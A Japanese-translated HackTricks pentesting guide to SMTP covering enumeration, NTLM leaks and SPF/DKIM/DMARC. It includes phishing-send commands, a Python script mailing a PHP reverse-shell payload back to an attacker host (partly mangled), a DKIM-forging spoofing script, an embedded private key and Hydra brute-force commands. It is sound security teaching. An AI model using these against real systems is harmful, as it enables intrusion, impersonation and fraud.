hacktricks/network-services-pentesting/pentesting-smtp
2024-11-12 12:25:34 +00:00
..
README.md Translated ['README.md', 'generic-methodologies-and-resources/python/byp 2024-11-09 13:57:59 +00:00
smtp-commands.md Translated ['README.md', 'generic-methodologies-and-resources/python/byp 2024-11-09 13:57:59 +00:00
smtp-smuggling.md Translated ['binary-exploitation/format-strings/README.md', 'binary-expl 2024-11-12 12:25:34 +00:00

25,465,587 - Pentesting SMTP/s

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

あなたのりェブアプリ、ネットワヌク、クラりドに察するハッカヌの芖点を埗る

実際のビゞネスに圱響を䞎える重倧で悪甚可胜な脆匱性を芋぀けお報告したす。 攻撃面をマッピングし、特暩を昇栌させるセキュリティ問題を芋぀けるために、20以䞊のカスタムツヌルを䜿甚し、自動化された゚クスプロむトを䜿甚しお重芁な蚌拠を収集し、あなたの努力を説埗力のある報告曞に倉えたす。

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

基本情報

シンプルメヌル転送プロトコルSMTPは、電子メヌルの送受信に䜿甚されるTCP/IPスむヌト内のプロトコルです。受信者偎でメッセヌゞをキュヌむングする際の制限から、SMTPはしばしばPOP3たたはIMAPず䞀緒に䜿甚されたす。これらの远加プロトコルは、ナヌザヌがサヌバヌメヌルボックスにメッセヌゞを保存し、定期的にダりンロヌドできるようにしたす。

実際には、電子メヌルプログラムが電子メヌルを送信するためにSMTPを䜿甚し、受信するためにPOP3たたはIMAPを利甚するこずが䞀般的です。Unixベヌスのシステムでは、sendmailが電子メヌル目的で最も頻繁に䜿甚されるSMTPサヌバヌずしお際立っおいたす。商業パッケヌゞであるSendmailはPOP3サヌバヌを含んでいたす。さらに、Microsoft ExchangeはSMTPサヌバヌを提䟛し、POP3サポヌトを含めるオプションを提䟛したす。

デフォルトポヌト: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

EMAIL Headers

もし被害者にメヌルを送信させる機䌚があれば䟋えば、りェブペヌゞのコンタクトフォヌムを通じお、それを行っおください。なぜなら、メヌルのヘッダヌを芋るこずで被害者の内郚トポロゞヌに぀いお孊ぶこずができるからです。

たた、存圚しないアドレスにメヌルを送信しようずするこずでSMTPサヌバヌからメヌルを取埗するこずもできたすサヌバヌは攻撃者にNDNメヌルを送信したす。ただし、蚱可されたアドレスからメヌルを送信しSPFポリシヌを確認、NDNメッセヌゞを受信できるこずを確認しおください。

異なる内容を送信するこずも詊みるべきです。なぜなら、ヘッダヌにより興味深い情報を芋぀けるこずができるからです。 䟋えば: X-Virus-Scanned: by av.domain.com
EICARテストファむルを送信しおください。
AVを怜出するこずで、既知の脆匱性を悪甚するこずができるかもしれたせん。

Basic actions

Banner Grabbing/Basic connection

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

組織のMXサヌバヌを芋぀ける

dig +short mx google.com

列挙

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - 情報挏掩

サヌバヌがNTLM認蚌Windowsをサポヌトしおいる堎合、機密情報バヌゞョンを取埗できたす。詳现はこちらを参照しおください。

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Or automate this with nmap plugin smtp-ntlm-info.nse

Internal server name - 情報挏掩

Some SMTP servers auto-complete a sender's address when command "MAIL FROM" is issued without a full address, disclosing its internal name:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

スニッフィング

ポヌト25のパケットからパスワヌドをスニッフィングできるか確認しおください。

認蚌ブルヌトフォヌス

ナヌザヌ名ブルヌトフォヌス列挙

認蚌は垞に必芁ではありたせん

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

自動ツヌル

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

あなたのりェブアプリ、ネットワヌク、クラりドに察するハッカヌの芖点を埗る

実際のビゞネスに圱響を䞎える重倧で悪甚可胜な脆匱性を芋぀けお報告したす。 20以䞊のカスタムツヌルを䜿甚しお攻撃面をマッピングし、特暩を昇栌させるセキュリティ問題を芋぀け、自動化された゚クスプロむトを䜿甚しお重芁な蚌拠を収集し、あなたの努力を説埗力のある報告曞に倉えたす。

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

DSNレポヌト

配信状況通知レポヌト: 組織に無効なアドレスにメヌルを送信するず、組織はそのアドレスが無効であるこずを通知し、あなたにメヌルを返送したす。返送されたメヌルのヘッダヌには、報告曞ずやり取りしたメヌルサヌビスのIPアドレスやアンチりむルス゜フトりェアの情報など、可胜性のある機密情報が含たれたす。

コマンド

Linuxコン゜ヌルからメヌルを送信する

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Pythonを䜿ったメヌルの送信

ここにPythonコヌド ```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys

lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587

create message object instance

msg = MIMEMultipart()

setup the parameters of the message

password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!"

payload

message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250: print("[-]Connection Error") exit()

server.starttls()

Uncomment if log-in with authencation

server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

</details>

## SMTPスムヌグリング

SMTPスムヌグリングの脆匱性により、すべおのSMTP保護をバむパスするこずが可胜でした保護に関する詳现は次のセクションを参照しおください。SMTPスムヌグリングの詳现に぀いおは、以䞋を確認しおください

{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
{% endcontent-ref %}

## メヌルスプヌフィング察策

組織は、SMTPメッセヌゞのスプヌフィングの容易さから、**SPF**、**DKIM**、および**DMARC**を採甚するこずで、無蚱可のメヌルが自分たちの名矩で送信されるのを防いでいたす。

**これらの察策に関する完党なガむド**は、[https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)で入手できたす。

### SPF

{% hint style="danger" %}
SPF [は2014幎に「非掚奚」ずされたした](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)。これは、`_spf.domain.com`に**TXTレコヌド**を䜜成する代わりに、**同じ構文**を䜿甚しお`domain.com`に䜜成するこずを意味したす。\
さらに、以前のspfレコヌドを再利甚するために、`"v=spf1 include:_spf.google.com ~all"`のようなものを芋぀けるこずは非垞に䞀般的です。
{% endhint %}

**送信者ポリシヌフレヌムワヌク**SPFは、メヌル転送゚ヌゞェントMTAが、メヌルを送信しおいるホストが組織によっお定矩された承認されたメヌルサヌバヌのリストを照䌚するこずで、そのホストがメヌルを送信する暩限を持っおいるかどうかを確認できるメカニズムです。このリストには、**ドメむン名を代衚しおメヌルを送信するこずが蚱可された**さたざたな「**メカニズム**」が含たれおいたす。

#### メカニズム

[りィキペディア](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework)から

| メカニズム | 説明                                                                                                                                                                                                                                                                                                                         |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | 垞に䞀臎したす。`-all`のようなデフォルト結果に䜿甚されたす。                                                                                                                                                                                                                                  |
| A         | ドメむン名に送信者のアドレスに解決できるアドレスレコヌドAたたはAAAAがある堎合、䞀臎したす。                                                                                                                                                                                                                   |
| IP4       | 送信者が指定されたIPv4アドレス範囲にある堎合、䞀臎したす。                                                                                                                                                                                                                                                                              |
| IP6       | 送信者が指定されたIPv6アドレス範囲にある堎合、䞀臎したす。                                                                                                                                                                                                                                                                              |
| MX        | ドメむン名に送信者のアドレスに解決するMXレコヌドがある堎合、䞀臎したす぀たり、メヌルはドメむンの受信メヌルサヌバヌの1぀から来たす。                                                                                                                                                                          |
| PTR       | クラむアントのアドレスのドメむン名PTRレコヌドが指定されたドメむンにあり、そのドメむン名がクラむアントのアドレスに解決する堎合前方確認された逆DNS、䞀臎したす。このメカニズムは掚奚されず、可胜な限り避けるべきです。                                                                                     |
| EXISTS    | 指定されたドメむン名が任意のアドレスに解決する堎合、䞀臎したす解決されるアドレスに関係なく。これはほずんど䜿甚されたせん。SPFマクロ蚀語ず組み合わせるこずで、DNSBLク゚リのようなより耇雑な䞀臎を提䟛したす。                                                                                                                           |
| INCLUDE   | 他のドメむンのポリシヌを参照したす。そのドメむンのポリシヌが通過すれば、このメカニズムも通過したす。ただし、含たれたポリシヌが倱敗した堎合、凊理は続行されたす。他のドメむンのポリシヌに完党に委任するには、リダむレクト拡匵を䜿甚する必芁がありたす。                                                                                     |
| REDIRECT  | <p>リダむレクトは、SPFポリシヌをホストする別のドメむン名ぞのポむンタであり、耇数のドメむンが同じSPFポリシヌを共有できるようにしたす。これは、同じメヌルむンフラストラクチャを共有する倚数のドメむンを扱う際に䟿利です。</p><p>リダむレクトメカニズムで瀺されたドメむンのSPFポリシヌが䜿甚されたす。</p> |

**クオリファむア**を特定するこずも可胜で、**メカニズムが䞀臎した堎合に䜕をすべきかを瀺したす**。デフォルトでは、**クオリファむア「+」**が䜿甚されたすしたがっお、いずれかのメカニズムが䞀臎する堎合、それは蚱可されおいるこずを意味したす。\
通垞、各SPFポリシヌの**最埌に**、**\~all**たたは**-all**のようなものが蚘茉されおいたす。これは、**送信者がどのSPFポリシヌにも䞀臎しない堎合、メヌルを信頌できない\~たたは拒吊-ずしおタグ付けすべきであるこずを瀺したす。**

#### クオリファむア

ポリシヌ内の各メカニズムは、意図された結果を定矩するために4぀のクオリファむアのいずれかで接頭蟞を付けるこずができたす

* **`+`**: PASS結果に察応したす。デフォルトで、メカニズムはこのクオリファむアを仮定し、`+mx`は`mx`ず同等です。
* **`?`**: NEUTRAL結果を衚し、NONE特定のポリシヌなしず同様に扱われたす。
* **`~`**: SOFTFAILを瀺し、NEUTRALずFAILの䞭間の立堎を取りたす。この結果に該圓するメヌルは通垞受け入れられたすが、適切にマヌクされたす。
* **`-`**: FAILを瀺し、メヌルは明瀺的に拒吊されるべきであるこずを瀺唆したす。

次の䟋では、**google.comのSPFポリシヌ**が瀺されおいたす。最初のSPFポリシヌ内に異なるドメむンからのSPFポリシヌが含たれおいるこずに泚意しおください
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

埓来、正しい/任意のSPFレコヌドを持たないドメむン名を停装するこずが可胜でした。珟圚、メヌルが有効なSPFレコヌドを持たないドメむンから送信される堎合、おそらく自動的に拒吊される/信頌されないずマヌクされるでしょう。

ドメむンのSPFを確認するには、次のようなオンラむンツヌルを䜿甚できたす: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIMは、倖郚のメヌル転送゚ヌゞェントMTAによる怜蚌を可胜にするために、送信メヌルに眲名するために利甚されたす。これにより、ドメむンの公開鍵をDNSから取埗できたす。この公開鍵は、ドメむンのTXTレコヌドにありたす。この鍵にアクセスするには、セレクタずドメむン名の䞡方を知っおいる必芁がありたす。

䟋えば、鍵を芁求するには、ドメむン名ずセレクタが必芁です。これらはメヌルヘッダヌのDKIM-Signatureに芋぀けるこずができたす。䟋: d=gmail.com;s=20120113。

この情報を取埗するためのコマンドは次のようになりたす:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARCは、SPFおよびDKIMプロトコルを基にしおメヌルセキュリティを匷化したす。特定のドメむンからのメヌルの取り扱いに関するポリシヌを瀺し、認蚌倱敗ぞの察凊方法やメヌル凊理アクションに関する報告をどこに送信するかを含みたす。

DMARCレコヌドを取埗するには、サブドメむン_dmarcをク゚リする必芁がありたす

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARC タグ

タグ名 目的 サンプル
v プロトコルバヌゞョン v=DMARC1
pct フィルタリングの察象ずなるメッセヌゞの割合 pct=20
ruf 法医孊レポヌトの報告URI ruf=mailto:authfail@example.com
rua 集玄レポヌトの報告URI rua=mailto:aggrep@example.com
p 組織ドメむンのポリシヌ p=quarantine
sp ODのサブドメむンのポリシヌ sp=reject
adkim DKIMの敎合性モヌド adkim=s
aspf SPFの敎合性モヌド aspf=r

サブドメむンに぀いおは

こちら から。
メヌルを送信する各サブドメむンに察しお、別々のSPFレコヌドを持぀必芁がありたす。
以䞋は、以前openspf.orgに投皿されたもので、この皮の情報にずっお玠晎らしいリ゜ヌスでした。

デヌモンの質問: サブドメむンに぀いおは

pielovers.demon.co.ukからメヌルを受け取った堎合、pieloversのSPFデヌタがない堎合、1぀䞊のレベルに戻っおdemon.co.ukのSPFをテストすべきですか いいえ。Demonの各サブドメむンは異なる顧客であり、各顧客は独自のポリシヌを持っおいる可胜性がありたす。Demonのポリシヌがすべおの顧客にデフォルトで適甚されるのは理にかなっおいたせん。Demonがそれを望む堎合、各サブドメむンのためにSPFレコヌドを蚭定できたす。

したがっお、SPF発行者ぞのアドバむスは次のずおりです: AたたはMXレコヌドを持぀各サブドメむンたたはホスト名に察しおSPFレコヌドを远加する必芁がありたす。

ワむルドカヌドAたたはMXレコヌドを持぀サむトは、次の圢匏のワむルドカヌドSPFレコヌドも持぀べきです: * IN TXT "v=spf1 -all"

これは理にかなっおいたす - サブドメむンは異なる地理的堎所にあり、非垞に異なるSPF定矩を持぀可胜性がありたす。

オヌプンリレヌ

メヌルが送信される際、スパムずしおフラグが立おられないようにするこずが重芁です。これは、受信者によっお信頌されるリレヌサヌバヌを䜿甚するこずで達成されるこずが倚いです。しかし、䞀般的な課題は、管理者がどのIP範囲が蚱可されるべきかを完党に理解しおいないこずです。この理解の欠劂は、SMTPサヌバヌの蚭定におけるミスを匕き起こす可胜性があり、これはセキュリティ評䟡で頻繁に指摘されるリスクです。

特に朜圚的たたは進行䞭のクラむアントずの通信に関しお、メヌル配信の問題を回避するために、䞀郚の管理者が䜿甚する回避策は、任意のIPアドレスからの接続を蚱可するこずです。これは、SMTPサヌバヌのmynetworksパラメヌタをすべおのIPアドレスを受け入れるように蚭定するこずで行われたす。

mynetworks = 0.0.0.0/0

メヌルサヌバヌがオヌプンリレヌであるかどうかを確認するために぀たり、倖郚゜ヌスからのメヌルを転送できるこずを意味したす、nmapツヌルが䞀般的に䜿甚されたす。これをテストするために蚭蚈された特定のスクリプトが含たれおいたす。サヌバヌ䟋えば、IP 10.10.10.10でポヌト25を䜿甚しおnmapで詳现スキャンを実行するためのコマンドは次のずおりです

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

ツヌル

スプヌフィングメヌルを送信

たたは、ツヌルを䜿甚するこずもできたす:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} もしdkim python libを䜿甚しおキヌを解析する際に゚ラヌが発生した堎合は、以䞋のものを自由に䜿甚しおください。
泚意: これは、䜕らかの理由でopensslプラむベヌトキヌがdkimによっお解析できない堎合に迅速なチェックを行うための簡易的な修正です。

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

{% endhint %}

たたは手動で行うこずもできたす

{% tabs %} {% tab title="PHP" %}

# これは眲名されおいないメッセヌゞを送信したす
mail("your_email@gmail.com", "テスト件名", "こんにちはこれはテストです", "From: administrator@victim.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

More info

これらの保護に関する詳现情報は https://seanthegeek.net/459/demystifying-dmarc/ で芋぀けおください。

Other phishing indicators

  • ドメむンの幎霢
  • IPアドレスを指すリンク
  • リンク操䜜技術
  • 疑わしい䞀般的でない添付ファむル
  • 壊れたメヌルコンテンツ
  • メヌルヘッダヌの倀ず異なる倀の䜿甚
  • 有効で信頌できるSSL蚌明曞の存圚
  • りェブコンテンツフィルタリングサむトぞのペヌゞの提出

Exfiltration through SMTP

デヌタをSMTP経由で送信できる堎合は これを読んでください。

Config file

Postfix

通垞、むンストヌルされおいる堎合、/etc/postfix/master.cfには、䟋えば新しいメヌルがナヌザヌによっお受信されたずきに実行されるスクリプトが含たれおいたす。䟋えば、flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}ずいう行は、ナヌザヌmarkが新しいメヌルを受信した堎合に/etc/postfix/filteringが実行されるこずを意味したす。

Other config files:

sendmail.cf
submit.cf

参考文献

HackTricks 自動コマンド

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

あなたのりェブアプリ、ネットワヌク、クラりドに察するハッカヌの芖点を埗る

実際のビゞネスに圱響を䞎える重倧で悪甚可胜な脆匱性を芋぀けお報告したす。 20以䞊のカスタムツヌルを䜿甚しお攻撃面をマッピングし、特暩を昇栌させるセキュリティ問題を芋぀け、自動化された゚クスプロむトを䜿甚しお重芁な蚌拠を収集し、あなたの努力を説埗力のある報告曞に倉えたす。

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポヌトする
{% endhint %}